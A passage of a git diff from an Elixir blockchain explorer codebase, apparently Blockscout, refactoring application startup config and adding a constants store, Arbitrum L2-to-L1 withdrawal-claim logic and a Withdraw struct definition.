Explorer.Repo.Shibarium, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.Stability, + Explorer.Repo.Suave, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync + ] + else + [] + end + end + + defp account_repo do + if Application.get_env(:explorer, Explorer.Account)[:enabled] || Mix.env() == :test do + [Explorer.Repo.Account] + else + [] + end + end + + defp mud_repo do + if Application.get_env(:explorer, Explorer.Chain.Mud)[:enabled] || Mix.env() == :test do + [Explorer.Repo.Mud] + else + [] + end + end + + defp event_notification_repo do + if Application.get_env(:explorer, :realtime_events_sender) == Explorer.Chain.Events.DBSender || Mix.env() == :test do + [Explorer.Repo.EventNotifications] + else + [] + end + end + + defp should_start?({process, _opts}) do + Application.get_env(:explorer, process, [])[:enabled] == true end defp should_start?(process) do @@ -114,39 +385,71 @@ defmodule Explorer.Application do end end - defp datadog_port do - if System.get_env("DATADOG_PORT") do - case Integer.parse(System.get_env("DATADOG_PORT")) do - {integer, ""} -> integer - _ -> 8126 - end + defp configure_chain_type_dependent_process(process, chain_types) when is_list(chain_types) do + if Application.get_env(:explorer, :chain_type) in chain_types do + process else - 8126 + [] end end - defp spandex_batch_size do - if System.get_env("SPANDEX_BATCH_SIZE") do - case Integer.parse(System.get_env("SPANDEX_BATCH_SIZE")) do - {integer, ""} -> integer - _ -> 100 - end + defp configure_chain_type_dependent_process(process, chain_type) do + if Application.get_env(:explorer, :chain_type) == chain_type do + process else - 100 + [] end end - defp spandex_sync_threshold do - if System.get_env("SPANDEX_SYNC_THRESHOLD") do - case Integer.parse(System.get_env("SPANDEX_SYNC_THRESHOLD")) do - {integer, ""} -> integer - _ -> 100 - end + defp configure_chain_type_dependent_con_cache do + case Application.get_env(:explorer, :chain_type) do + :optimism -> + [ + con_cache_child_spec(OptimismInteropMessage.interop_instance_api_url_to_public_key_cache()), + con_cache_child_spec(OptimismInteropMessage.interop_chain_id_to_instance_info_cache()) + ] + + _ -> + [] + end + end + + defp configure_mode_dependent_process(process, mode) do + if should_start?(process) and Application.get_env(:explorer, :mode) in [mode, :all] do + process + else + [] + end + end + + defp configure_sc_microservice(process) do + if Application.get_env(:explorer, Explorer.SmartContract.RustVerifierInterfaceBehaviour)[:eth_bytecode_db?] do + process else - 100 + [] end end + defp configure_multichain_search_microservice(process) do + if MultichainSearch.enabled?() do + process + else + [] + end + end + + defp datadog_port do + Application.get_env(:explorer, :datadog)[:port] + end + + defp spandex_batch_size do + Application.get_env(:explorer, :spandex)[:batch_size] + end + + defp spandex_sync_threshold do + Application.get_env(:explorer, :spandex)[:sync_threshold] + end + defp datadog_opts do datadog_port = datadog_port() @@ -174,4 +477,8 @@ defmodule Explorer.Application do id: {ConCache, name} ) end + + defp redix_opts do + {System.get_env("ACCOUNT_REDIS_URL") || "redis://127.0.0.1:6379", [name: :redix]} + end end diff --git a/apps/explorer/lib/explorer/application/constants.ex b/apps/explorer/lib/explorer/application/constants.ex new file mode 100644 index 000000000000..e240763f26c8 --- /dev/null +++ b/apps/explorer/lib/explorer/application/constants.ex @@ -0,0 +1,105 @@ +defmodule Explorer.Application.Constants do + @moduledoc """ + Tracks some kv info + """ + + use Explorer.Schema + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Hash + + @keys_manager_contract_address_key "keys_manager_contract_address" + @last_processed_erc_721_token "token_instance_sanitizer_last_processed_erc_721_token" + + @primary_key false + typed_schema "constants" do + field(:key, :string, primary_key: true, null: false) + field(:value, :string, null: false) + + timestamps() + end + + def changeset(attrs) do + %__MODULE__{} + |> changeset(attrs) + end + + @required_attrs ~w(key value)a + def changeset(%__MODULE__{} = constant, attrs) do + constant + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + end + + @doc """ + Reads constant row from the database by constant's key. + """ + @spec get_constant_by_key(binary(), list()) :: Ecto.Schema.t() | term() | nil + def get_constant_by_key(key, options \\ []) do + __MODULE__ + |> where([constant], constant.key == ^key) + |> Chain.select_repo(options).one() + end + + @doc """ + Reads constant value from the database by constant's key. + """ + @spec get_constant_value(binary(), list()) :: binary() | nil + def get_constant_value(key, options \\ []) do + __MODULE__ + |> where([constant], constant.key == ^key) + |> select([constant], constant.value) + |> Chain.select_repo(options).one() + end + + @doc """ + Sets or updates a value of the specified constant by its key. + """ + @spec set_constant_value(binary(), binary()) :: Ecto.Schema.t() + def set_constant_value(key, value) do + existing_value = Repo.get(__MODULE__, key) + + if existing_value do + existing_value + |> changeset(%{value: value}) + |> Repo.update!() + else + %{key: key, value: value} + |> changeset() + |> Repo.insert!() + end + end + + @doc """ + For usage in Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand + """ + @spec insert_keys_manager_contract_address(binary()) :: Ecto.Schema.t() + def insert_keys_manager_contract_address(value) do + %{key: @keys_manager_contract_address_key, value: value} + |> changeset() + |> Repo.insert!() + end + + @doc """ + For usage in Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand and Explorer.Chain.Block.Reward + """ + @spec get_keys_manager_contract_address(list()) :: %__MODULE__{} | nil + def get_keys_manager_contract_address(options \\ []) do + get_constant_by_key(@keys_manager_contract_address_key, options) + end + + @doc """ + For usage in Indexer.Fetcher.TokenInstance.SanitizeERC721 + """ + @spec insert_last_processed_token_address_hash(Hash.Address.t()) :: Ecto.Schema.t() + def insert_last_processed_token_address_hash(address_hash) do + set_constant_value(@last_processed_erc_721_token, to_string(address_hash)) + end + + @doc """ + For usage in Indexer.Fetcher.TokenInstance.SanitizeERC721 + """ + @spec get_last_processed_token_address_hash(keyword()) :: nil | Explorer.Chain.Hash.t() + def get_last_processed_token_address_hash(options \\ []) do + @last_processed_erc_721_token |> get_constant_value(options) |> Chain.string_to_address_hash_or_nil() + end +end diff --git a/apps/explorer/lib/explorer/arbitrum/claim_rollup_message.ex b/apps/explorer/lib/explorer/arbitrum/claim_rollup_message.ex new file mode 100644 index 000000000000..8826cd3a7d5f --- /dev/null +++ b/apps/explorer/lib/explorer/arbitrum/claim_rollup_message.ex @@ -0,0 +1,734 @@ +defmodule Explorer.Arbitrum.ClaimRollupMessage do + @moduledoc """ + Provides functionality to read L2->L1 messages and prepare withdrawal claims in the Arbitrum protocol. + + This module allows: + - Retrieving L2->L1 messages from a transaction's logs and determining their current + status. This is used when a user has a transaction hash and needs to identify + which messages from this transaction can be claimed on L1. + - Generating calldata for claiming confirmed withdrawals through the L1 Outbox + contract using a specific message ID. This is typically used when the message ID + is already known (e.g., from transaction details or L2->L1 messages list in the UI). + + For detailed information about Arbitrum's L2->L1 messaging system, see: + https://docs.arbitrum.io/how-arbitrum-works/arbos/l2-l1-messaging + """ + + alias ABI.TypeDecoder + alias EthereumJSONRPC + alias EthereumJSONRPC.Arbitrum, as: ArbitrumRpc + alias EthereumJSONRPC.Arbitrum.Constants.Contracts, as: ArbitrumContracts + alias EthereumJSONRPC.Arbitrum.Constants.Events, as: ArbitrumEvents + alias EthereumJSONRPC.{Encoder, ERC20} + alias Explorer.Chain + alias Explorer.Chain.Arbitrum.Reader.API.General, as: GeneralReader + alias Explorer.Chain.Arbitrum.Reader.API.Messages, as: MessagesReader + alias Explorer.Chain.Arbitrum.Reader.API.Settlement, as: SettlementReader + alias Explorer.Chain.Arbitrum.Reader.Indexer.Messages, as: MessagesIndexerReader + alias Explorer.Chain.{Data, Hash} + alias Explorer.Chain.Hash.Address + alias Indexer.Helper, as: IndexerHelper + + require Logger + + @doc """ + Retrieves all L2->L1 messages initiated by a transaction. + + This function scans the transaction logs for L2ToL1Tx events and converts them + into withdrawal objects. For each event, it attempts to find a corresponding + message record in the database to determine the message status. If a message + record is not found (e.g., due to database inconsistency or fetcher issues), + the function attempts to restore the message status through requests to the RPC + node. + + ## Parameters + - `transaction_hash`: The hash of the transaction to scan for L2ToL1Tx events + + ## Returns + - A list of `Explorer.Arbitrum.Withdraw.t()` objects, each representing a single + L2->L1 message initiated by the transaction. The list may be empty if no + L2ToL1Tx events are found. + """ + @spec transaction_to_withdrawals(Hash.Full.t()) :: [Explorer.Arbitrum.Withdraw.t()] + def transaction_to_withdrawals(transaction_hash) do + # request messages initiated by the provided transaction from the database + messages = MessagesReader.l2_to_l1_messages_by_transaction_hash(transaction_hash) + + # request associated logs from the database + logs = GeneralReader.transaction_to_logs_by_topic0(transaction_hash, ArbitrumEvents.l2_to_l1()) + + logs + |> Enum.map(fn log -> + msg = Enum.find(messages, fn msg -> msg.message_id == Hash.to_integer(log.fourth_topic) end) + + # `msg` is needed to retrieve the message status + # Regularly the message should be found, but in rare cases (database inconsistent, fetcher issues) it may omit. + # In this case log_to_withdrawal/1 will be used to retrieve L2->L1 message status from the RPC node + log_to_withdrawal(log, msg) + end) + end + + @doc """ + Constructs calldata for claiming an L2->L1 message on the L1 chain. + + This function retrieves the L2->L1 message record from the database by the given + message ID and generates the proof and calldata needed for executing the message + through the Outbox contract on L1. Only messages with :confirmed status can be + claimed. + + ## Parameters + - `message_id`: The unique identifier of the L2->L1 message (`position` field of + the associated `L2ToL1Tx` event) + + ## Returns + - `{:ok, [contract_address: String.t(), calldata: String.t()]}` where: + * `contract_address` is the L1 Outbox contract address + * `calldata` is the ABI-encoded executeTransaction function call + - `{:error, :not_found}` if either: + * the message with the given ID cannot be found in the database + * the associated L2ToL1Tx event log cannot be found + - `{:error, :initiated}` if the message is not yet confirmed + - `{:error, :sent}` if the message is not yet confirmed + - `{:error, :relayed}` if the message has already been claimed + - `{:error, :internal_error}` if the message status is unknown + """ + @spec claim(non_neg_integer()) :: {:ok, [contract_address: String.t(), calldata: String.t()]} | {:error, term()} + def claim(message_id) do + case MessagesReader.l2_to_l1_message_by_id(message_id) do + nil -> + Logger.error("Unable to find withdrawal with id #{message_id}") + {:error, :not_found} + + message -> + claim_message(message) + end + end + + # Constructs calldata for claiming an L2->L1 message on L1. + # + # This function retrieves the L2ToL1Tx event log associated with the message and + # verifies the message status. Only messages with :confirmed status can be claimed. + # For confirmed messages, it generates calldata with the proof needed for executing + # the message through the Outbox contract on L1. + # + # ## Parameters + # - `message`: The L2->L1 message record containing transaction details and status + # + # ## Returns + # - `{:ok, [contract_address: binary(), calldata: binary()]}` where: + # * `contract_address` is the L1 Outbox contract address + # * `calldata` is the ABI-encoded executeTransaction function call + # - `{:error, :not_found}` if either: + # * the associated L2ToL1Tx event log cannot be found + # * the withdrawal cannot be found in the transaction logs + # - `{:error, :initiated}` if the message is not yet confirmed + # - `{:error, :sent}` if the message is not yet confirmed + # - `{:error, :relayed}` if the message has already been claimed + # - `{:error, :internal_error}` if the message status is unknown + @spec claim_message(Explorer.Chain.Arbitrum.Message.t()) :: + {:ok, list({:contract_address, binary()} | {:calldata, binary()})} + | {:error, :initiated | :sent | :relayed | :internal_error} + defp claim_message(message) do + # request associated log from the database + case message.originating_transaction_hash + |> GeneralReader.transaction_to_logs_by_topic0(ArbitrumEvents.l2_to_l1()) + |> Enum.find(fn log -> Hash.to_integer(log.fourth_topic) == message.message_id end) do + nil -> + Logger.error("Unable to find log with message_id #{message.message_id}") + {:error, :not_found} + + log -> + case log_to_withdrawal(log, message) do + nil -> + Logger.error( + "Unable to find withdrawal with id #{message.message_id} in transaction #{Hash.to_string(message.originating_transaction_hash)}" + ) + + {:error, :not_found} + + withdrawal when withdrawal.status == :confirmed -> + construct_claim(withdrawal) + + w when w.status == :initiated -> + {:error, :initiated} + + w when w.status == :sent -> + {:error, :sent} + + w when w.status == :relayed -> + {:error, :relayed} + + w when w.status == :unknown -> + {:error, :internal_error} + end + end + end + + # Converts an L2ToL1Tx event log into a withdrawal structure using the provided message information. + # + # This function extracts withdrawal details from the L2ToL1Tx event log and combines + # them with the message status from the database. For messages with status + # :initiated or :sent, it verifies the actual message status since the database + # status might be outdated if Arbitrum-specific fetchers were stopped. Also + # extracts token transfer information if the message represents a token withdrawal. + # + # ## Parameters + # - `log`: The L2ToL1Tx event log containing withdrawal information + # - `message`: The message record from database containing status information, or + # `nil` to fall back to `log_to_withdrawal/1` + # + # ## Returns + # - An Explorer.Arbitrum.Withdraw struct representing the withdrawal, or + # - `nil` if the message ID from the log doesn't match the provided message + @spec log_to_withdrawal( + Explorer.Chain.Log.t(), + Explorer.Chain.Arbitrum.Message.t() | nil + ) :: Explorer.Arbitrum.Withdraw.t() | nil + + defp log_to_withdrawal(log, nil) do + log_to_withdrawal(log) + end + + # TODO: Consider adding a caching mechanism here to reduce the number of DB operations. + # Keep in mind that caching Withdraw here may cause incorrect behavior due to + # the variable fields (status, completion_transaction_hash). + defp log_to_withdrawal(log, message) do + # getting needed fields from the L2ToL1Tx event + fields = + log + |> convert_explorer_log_to_map() + |> ArbitrumRpc.l2_to_l1_event_parse() + + if fields.message_id == message.message_id do + # extract token withdrawal info from the associated event's data + token = obtain_token_withdrawal_data(fields.data) + + data_hex = + fields.data + |> Base.encode16(case: :lower) + + {:ok, caller_address} = Hash.Address.cast(fields.caller) + {:ok, destination_address} = Hash.Address.cast(fields.destination) + + # For :initiated and :sent statuses, we need to verify the actual message status + # since the database status could be outdated if Arbitrum fetchers were stopped. + message_status = + case message.status do + status when status == :initiated or status == :sent -> + get_actual_message_status(message.message_id) + + status -> + status + end + + %Explorer.Arbitrum.Withdraw{ + message_id: Hash.to_integer(log.fourth_topic), + status: message_status, + caller: caller_address, + destination: destination_address, + arb_block_number: fields.arb_block_number, + eth_block_number: fields.eth_block_number, + l2_timestamp: fields.timestamp, + callvalue: fields.callvalue, + data: "0x" <> data_hex, + token: token, + completion_transaction_hash: message.completion_transaction_hash + } + else + Logger.error( + "message_to_withdrawal: log doesn't correspond message (#{fields.position} != #{message.message_id})" + ) + + nil + end + end + + # Converts an L2ToL1Tx event log into a withdrawal structure when the message + # information is not available in the database. + # + # This function parses the event log data, extracts both the basic withdrawal + # information and any associated token transfer data if the message represents a + # token withdrawal (by examining the finalizeInboundTransfer calldata). Since the + # message is not found in the database, the function attempts to determine its + # current status by comparing the message ID with the total count of messages sent + # from L2. + # + # This function attempts to extract completion_transaction_hash from + # `Explorer.Chain.Arbitrum.Reader.Indexer.Messages` because extracting it directly + # from the contract is too complex. So keep in mind that there is a possibility of + # a nil value in this field for relayed withdrawals. + # + # ## Parameters + # - `log`: The L2ToL1Tx event log containing withdrawal information + # + # ## Returns + # - An Explorer.Arbitrum.Withdraw struct representing the withdrawal + @spec log_to_withdrawal(Explorer.Chain.Log.t()) :: Explorer.Arbitrum.Withdraw.t() + defp log_to_withdrawal(log) do + # getting needed fields from the L2ToL1Tx event + fields = + log + |> convert_explorer_log_to_map() + |> ArbitrumRpc.l2_to_l1_event_parse() + + status = get_actual_message_status(fields.message_id) + + token = obtain_token_withdrawal_data(fields.data) + + data_hex = + fields.data + |> Base.encode16(case: :lower) + + {:ok, caller_address} = Hash.Address.cast(fields.caller) + {:ok, destination_address} = Hash.Address.cast(fields.destination) + + message_id = Hash.to_integer(log.fourth_topic) + + # try to find indexed L1 execution for the message + execution_transaction_hash = + case MessagesIndexerReader.l1_executions([message_id]) do + [execution] -> execution.execution_transaction.hash + _ -> nil + end + + %Explorer.Arbitrum.Withdraw{ + message_id: message_id, + status: status, + caller: caller_address, + destination: destination_address, + arb_block_number: fields.arb_block_number, + eth_block_number: fields.eth_block_number, + l2_timestamp: fields.timestamp, + callvalue: fields.callvalue, + data: "0x" <> data_hex, + token: token, + completion_transaction_hash: execution_transaction_hash + } + end + + # Guesses the actual status of an L2->L1 message by analyzing data from the RPC node and the database + # + # The function first checks if the message has been spent (claimed) on L1 by + # querying the Outbox contract. If the message is spent, its status is `:relayed`. + # Otherwise, the function determines the message status by comparing its ID with + # the total count of messages sent from rollup up to the most recent confirmed + # rollup block. For L2->L1 message claiming purposes it is not needed to distinguish + # between `:sent` and `:initiated` statuses since in either of this statuses means + # that the message cannot be claimed yet. + # + # ## Parameters + # - `message_id`: The unique identifier of the L2->L1 message + # + # ## Returns + # - `:unknown` if unable to determine the message status + # - `:sent` if the message is not yet confirmed + # - `:confirmed` if the message is confirmed but not yet claimed + # - `:relayed` if the message has been successfully claimed on L1 + @spec get_actual_message_status(non_neg_integer()) :: :unknown | :sent | :confirmed | :relayed + defp get_actual_message_status(message_id) do + # getting needed L1\L2 properties: RPC URL and Main Rollup contract address + l1_rollup_address = get_l1_rollup_address() + json_l1_rpc_named_arguments = get_json_rpc(:l1) + + outbox_contract = + ArbitrumRpc.get_contracts_for_rollup( + l1_rollup_address, + :inbox_outbox, + json_l1_rpc_named_arguments + )[:outbox] + + {:ok, is_withdrawal_spent} = + ArbitrumRpc.withdrawal_spent?(outbox_contract, message_id, json_l1_rpc_named_arguments) + + case is_withdrawal_spent do + true -> + :relayed + + false -> + case get_size_for_proof() do + nil -> :unknown + size when size > message_id -> :confirmed + _ -> :sent + end + end + end + + # Converts an Explorer.Chain.Log struct into a map suitable for L2->L1 event parsing. + # + # This function transforms the log data into a format required by the + # `EthereumJSONRPC.Arbitrum.l2_to_l1_event_parse/1` function. + @spec convert_explorer_log_to_map(Explorer.Chain.Log.t()) :: %{ + :data => binary(), + :second_topic => binary(), + :fourth_topic => binary() + } + defp convert_explorer_log_to_map(log) do + %{ + :data => Data.to_string(log.data), + :second_topic => Hash.to_string(log.second_topic), + :fourth_topic => Hash.to_string(log.fourth_topic) + } + end + + # Extracts token withdrawal information from the finalizeInboundTransfer calldata. + # + # The calldata is encapsulated in the L2ToL1Tx event and is meant to be executed on + # the TokenBridge contract during withdrawal claiming. + # + # ## Parameters + # - `data`: Binary data containing the finalizeInboundTransfer calldata + # + # ## Returns + # - Map containing token contract `address`, `destination` address, token `amount`, + # token `name`, `symbol` and `decimals` if the data corresponds to finalizeInboundTransfer selector + # - `nil` if data is void or doesn't match finalizeInboundTransfer method (which + # happens when the L2->L1 message is for arbitrary data transfer, such as a remote + # call of a smart contract on L1) + @spec obtain_token_withdrawal_data(binary()) :: + %{ + address_hash: Explorer.Chain.Hash.Address.t(), + address: Explorer.Chain.Hash.Address.t(), + destination: Explorer.Chain.Hash.Address.t(), + amount: non_neg_integer(), + decimals: non_neg_integer() | nil, + name: binary() | nil, + symbol: binary() | nil + } + | nil + defp obtain_token_withdrawal_data(<<0x2E567B36::32, rest_data::binary>>) do + [token, _, to, amount, _] = ABI.decode(ArbitrumContracts.finalize_inbound_transfer_selector_with_abi(), rest_data) + + token_bin = + case Address.cast(token) do + {:ok, address} -> address + _ -> nil + end + + to_bin = + case Address.cast(to) do + {:ok, address} -> address + _ -> nil + end + + # getting L1 RPC + json_l1_rpc_named_arguments = get_json_rpc(:l1) + + # getting additional token properties needed to display purposes + # TODO: it's need to cache token_info (e.g. with Explorer.Chain.OrderedCache) to reduce requests number + token_info = ERC20.fetch_token_properties(ArbitrumRpc.value_to_address(token), json_l1_rpc_named_arguments) + + %{ + address_hash: token_bin, + destination_address_hash: to_bin, + amount: amount, + decimals: token_info.decimals, + name: token_info.name, + symbol: token_info.symbol + } + end + + defp obtain_token_withdrawal_data(_binary) do + nil + end + + # Builds a claim transaction calldata for executing an L2->L1 message on L1. + # + # Constructs calldata containing the proof needed to execute a withdrawal message + # through the Outbox contract on L1. The function performs the following steps: + # 1. Gets the total count of L2->L1 messages (size) + # 2. Constructs the outbox proof using NodeInterface contract on the rollup + # 3. Encodes the executeTransaction function call with the proof and message data + # + # ## Parameters + # - `withdrawal`: A withdrawal message containing all necessary data for claim + # construction. + # + # ## Returns + # - `{:ok, [contract_address: binary(), calldata: binary()]}` where: + # * `contract_address` is the L1 Outbox contract address + # * `calldata` is the ABI-encoded executeTransaction function call + # - `{:error, :internal_error}` if proof construction fails + @spec construct_claim(Explorer.Arbitrum.Withdraw.t()) :: + {:ok, [contract_address: binary(), calldata: binary()]} | {:error, :internal_error} + defp construct_claim(withdrawal) do + # getting needed L1 properties: RPC URL and Main Rollup contract address + json_l1_rpc_named_arguments = get_json_rpc(:l1) + json_l2_rpc_named_arguments = get_json_rpc(:l2) + l1_rollup_address = get_l1_rollup_address() + + outbox_contract = + ArbitrumRpc.get_contracts_for_rollup(l1_rollup_address, :inbox_outbox, json_l1_rpc_named_arguments)[:outbox] + + case get_size_for_proof() do + nil -> + Logger.error("Cannot get size for proof") + {:error, :internal_error} + + size -> + # now we are ready to construct outbox proof + case ArbitrumRpc.construct_outbox_proof( + ArbitrumContracts.node_interface_contract_address(), + size, + withdrawal.message_id, + json_l2_rpc_named_arguments + ) do + {:ok, [_send, _root, proof]} -> + proof_values = raw_proof_to_hex(proof) + + # finally encode function call + args = [ + proof_values, + withdrawal.message_id, + Hash.to_string(withdrawal.caller), + Hash.to_string(withdrawal.destination), + withdrawal.arb_block_number, + withdrawal.eth_block_number, + withdrawal.l2_timestamp, + withdrawal.callvalue, + withdrawal.data + ] + + calldata = Encoder.encode_function_call(ArbitrumContracts.execute_transaction_selector_with_abi(), args) + + {:ok, [contract_address: outbox_contract, calldata: calldata]} + + {:error, _} -> + Logger.error("Unable to construct proof with size = #{size}, leaf = #{withdrawal.message_id}") + + {:error, :internal_error} + end + end + end + + # Converts list of binaries into the hex-encoded 0x-prefixed strings + defp raw_proof_to_hex(proof) do + proof + |> Enum.map(fn p -> %Data{bytes: p} |> to_string() end) + end + + # Retrieves the size parameter (total count of L2->L1 messages) needed for outbox + # proof construction. First attempts to fetch from the local database, falling back + # to RPC requests if necessary. + @spec get_size_for_proof() :: non_neg_integer() | nil + defp get_size_for_proof do + case get_size_for_proof_from_database() do + nil -> + Logger.warning("The database doesn't contain required data to construct proof. Fallback to direct RPC request") + + l1_rollup_address = get_l1_rollup_address() + json_l1_rpc_named_arguments = get_json_rpc(:l1) + json_l2_rpc_named_arguments = get_json_rpc(:l2) + + get_size_for_proof_from_rpc(l1_rollup_address, json_l1_rpc_named_arguments, json_l2_rpc_named_arguments) + + size -> + size + end + end + + # Retrieves the size parameter (total count of L2->L1 messages) needed for outbox + # proof construction using data from the database. + # + # The function gets the highest confirmed block number and retrieves its + # associated send_count value, which represents the cumulative count of L2->L1 + # messages. + # + # ## Returns + # - Total count of L2->L1 messages up to the latest confirmed rollup block + # - `nil` if the required data is not found in the database + @spec get_size_for_proof_from_database() :: non_neg_integer() | nil + defp get_size_for_proof_from_database do + case SettlementReader.highest_confirmed_block() do + nil -> + nil + + highest_confirmed_block -> + case Chain.number_to_block(highest_confirmed_block) do + {:ok, block} -> Map.get(block, :send_count) + _ -> nil + end + end + end + + # Retrieves the size parameter (total count of L2->L1 messages) needed for outbox + # proof construction via RPC calls. + # + # Note: The "size" parameter represents the cumulative count of L2->L1 messages + # that have been sent up to the latest confirmed node. + # + # This function performs the following steps: + # 1. Gets the latest confirmed node index from the L1 rollup contract + # 2. Retrieves the L1 block number where that node was created + # 3. Uses the block number to determine the total count of L2->L1 messages + # + # ## Parameters + # - `l1_rollup_address`: Address of the Arbitrum rollup contract on L1 + # - `json_l1_rpc_named_arguments`: Configuration for L1 JSON-RPC connection + # - `json_l2_rpc_named_arguments`: Configuration for rollup JSON-RPC connection + # + # ## Returns + # - Total count of L2->L1 messages up to the latest confirmed node + # - `nil` if any step in the process fails + @spec get_size_for_proof_from_rpc( + String.t(), + EthereumJSONRPC.json_rpc_named_arguments(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: non_neg_integer() | nil + defp get_size_for_proof_from_rpc(l1_rollup_address, json_l1_rpc_named_arguments, json_l2_rpc_named_arguments) do + # getting latest confirmed node index (L1) from the database + {:ok, latest_confirmed_node_index} = + ArbitrumRpc.get_latest_confirmed_node_index( + l1_rollup_address, + json_l1_rpc_named_arguments + ) + + # getting L1 block number where that node was created + case ArbitrumRpc.get_node_creation_block_number( + l1_rollup_address, + latest_confirmed_node_index, + json_l1_rpc_named_arguments + ) do + {:ok, node_creation_l1_block_number} -> + # getting associated L2 block and extracting `send_count` value from it + l1_block_number_to_withdrawals_count( + node_creation_l1_block_number, + l1_rollup_address, + json_l1_rpc_named_arguments, + json_l2_rpc_named_arguments + ) + + {:error, error} -> + Logger.error("Cannot fetch node creation block number: #{inspect(error)}") + nil + end + end + + # Retrieves the total count of L2->L1 messages sent up to the rollup block associated + # with a NodeCreated event in the specified L1 block. + # + # The function first fetches the NodeCreated event from the L1 block, extracts the + # corresponding rollup block hash, and then retrieves the send_count value from that + # rollup block. If the rollup block is not found in the database, falls back to + # querying the rollup JSON-RPC endpoint directly. + # + # ## Parameters + # - `node_creation_l1_block_number`: L1 block number containing a NodeCreated event + # - `l1_rollup_address`: Address of the Rollup contract on L1 + # - `json_l1_rpc_named_arguments`: Configuration for L1 JSON-RPC connection + # - `json_l2_rpc_named_arguments`: Configuration for rollup JSON-RPC connection + # + # ## Returns + # - Number of L2->L1 messages sent up to the associated rollup block + # - `nil` if the event cannot be found or block data cannot be retrieved + @spec l1_block_number_to_withdrawals_count( + non_neg_integer(), + String.t(), + EthereumJSONRPC.json_rpc_named_arguments(), + EthereumJSONRPC.json_rpc_named_arguments() + ) :: non_neg_integer() | nil + defp l1_block_number_to_withdrawals_count( + node_creation_l1_block_number, + l1_rollup_address, + json_l1_rpc_named_arguments, + json_l2_rpc_named_arguments + ) do + # request NodeCreated event from L1 block emitted by the Rollup contract + case IndexerHelper.get_logs( + node_creation_l1_block_number, + node_creation_l1_block_number, + l1_rollup_address, + [ArbitrumEvents.node_created()], + json_l1_rpc_named_arguments + ) do + {:ok, events} when is_list(events) and length(events) > 0 -> + node_created_event = List.last(events) + # extract L2 block hash from the NodeCreated event + l2_block_hash = l2_block_hash_from_node_created_event(node_created_event) + + {:ok, l2_block_hash} = + l2_block_hash + |> Hash.Full.cast() + + # get `send_count` value from the L2 block which represents amount of L2->L1 messages sent up to this block + messages_count_up_to_block_with_hash(l2_block_hash, json_l2_rpc_named_arguments) + + _ -> + Logger.error("Cannot fetch NodeCreated event in L1 block #{node_creation_l1_block_number}") + nil + end + end + + # Retrieves the total count of L2->L1 messages sent up to a specific rollup block. + # + # First attempts to fetch the block from the database. If not found, falls back + # to querying the rollup JSON-RPC endpoint directly. + # + # ## Parameters + # - `l2_block_hash`: The full hash of the rollup block to query + # - `json_l2_rpc_named_arguments`: Configuration options for the rollup JSON-RPC + # connection + # + # ## Returns + # - The `send_count` value from the block representing total L2->L1 messages sent + # - `nil` if the block cannot be retrieved or an error occurs + @spec messages_count_up_to_block_with_hash(Hash.Full.t(), EthereumJSONRPC.json_rpc_named_arguments()) :: + non_neg_integer() | nil + defp messages_count_up_to_block_with_hash(l2_block_hash, json_l2_rpc_named_arguments) do + case Chain.hash_to_block(l2_block_hash, api?: true) do + {:ok, block} -> + Map.get(block, :send_count) + + {:error, _} -> + case EthereumJSONRPC.fetch_blocks_by_hash( + [Hash.to_string(l2_block_hash)], + json_l2_rpc_named_arguments, + false + ) do + {:ok, blocks} -> + blocks.blocks_params + |> hd() + |> Map.get(:send_count) + + {:error, error} -> + Logger.error("Failed to fetch L2 block by hash #{l2_block_hash}: #{inspect(error)}") + nil + end + end + end + + # Extracts rollup block hash associated with the NodeCreated event emitted on L1 + @spec l2_block_hash_from_node_created_event(%{data: binary()}) :: binary() + defp l2_block_hash_from_node_created_event(event) do + [ + _execution_hash, + {_, {{[l2_block_hash, _], _}, _}, _}, + _after_inbox_batch_acc, + _wasm_module_root, + _inbox_max_count + ] = + event + |> Map.get("data") + |> String.trim_leading("0x") + |> Base.decode16!(case: :mixed) + |> TypeDecoder.decode_raw(ArbitrumEvents.node_created_unindexed_params()) + + l2_block_hash + end + + # Retrieve configuration options for the selected JSON-RPC connection (L1/L2) + @spec get_json_rpc(:l1 | :l2) :: EthereumJSONRPC.json_rpc_named_arguments() + defp get_json_rpc(:l1) do + config_common = Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum] + IndexerHelper.json_rpc_named_arguments(config_common[:l1_rpc]) + end + + defp get_json_rpc(:l2) do + Application.get_env(:explorer, :json_rpc_named_arguments) + end + + # Getting L1 Main Rollup contract address + @spec get_l1_rollup_address() :: EthereumJSONRPC.address() + defp get_l1_rollup_address do + Application.get_all_env(:indexer)[Indexer.Fetcher.Arbitrum][:l1_rollup_address] + end +end diff --git a/apps/explorer/lib/explorer/arbitrum/withdraw.ex b/apps/explorer/lib/explorer/arbitrum/withdraw.ex new file mode 100644 index 000000000000..d026f829bbda --- /dev/null +++ b/apps/explorer/lib/explorer/arbitrum/withdraw.ex @@ -0,0 +1,86 @@ +defmodule Explorer.Arbitrum.Withdraw do + @moduledoc """ + Models an L2->L1 withdraw on Arbitrum. + + """ + + alias Explorer.Chain.Hash + + @typedoc """ + Descriptor of the L2ToL1Tx event message on Arbitrum rollups: + * `message_id` - The ID of the message used for referencing. + * `status` - The status of the withdrawal: `:unknown`, `:initiated`, `:sent`, `:confirmed`, `:relayed` + * `caller` - The sender of the withdraw transaction. + * `destination` - The receiver of the funds on L1 chain. + * `arb_block_number` - The number of the block where originating transaction is included. + * `eth_block_number` - The associated block number on the destination chain. + * `l2_timestamp` - The timestamp of the originating transaction. + * `callvalue` - The amount of the native coins to withdraw + * `data` - Raw transaction data which will be sent to the destination address on L1 chain + on claiming the withdraw. In that case destination should be a contract address + otherwise the transaction will fail. Typically this field contain calldata for + `finalizeInboundTransfer(address,address,address,uint256,bytes)` method of the + Bridge contract and it intended to withdraw supported tokens instead of native coins. + * `token_address` - extracted L1 address of the token to withdraw in case of `data` field represents Bridge transaction + * `token_destination` - extracted L1 receiver address in case of `data` field represents Bridge transaction + * `token_amount` - extracted token amount in case of `data` field represents Bridge transaction + * `token_decimals` - how many decimal places the associated L1 token has + * `token_name` - the name of the associated L1 token + * `token_symbol` - the symbol of the associated L1 token + * `completion_transaction_hash` - the hash of the execution transaction on L1 chain (nil if not yet relayed) + """ + + @type t :: %__MODULE__{ + message_id: message_id, + status: status, + caller: caller, + destination: destination, + arb_block_number: arb_block_number, + 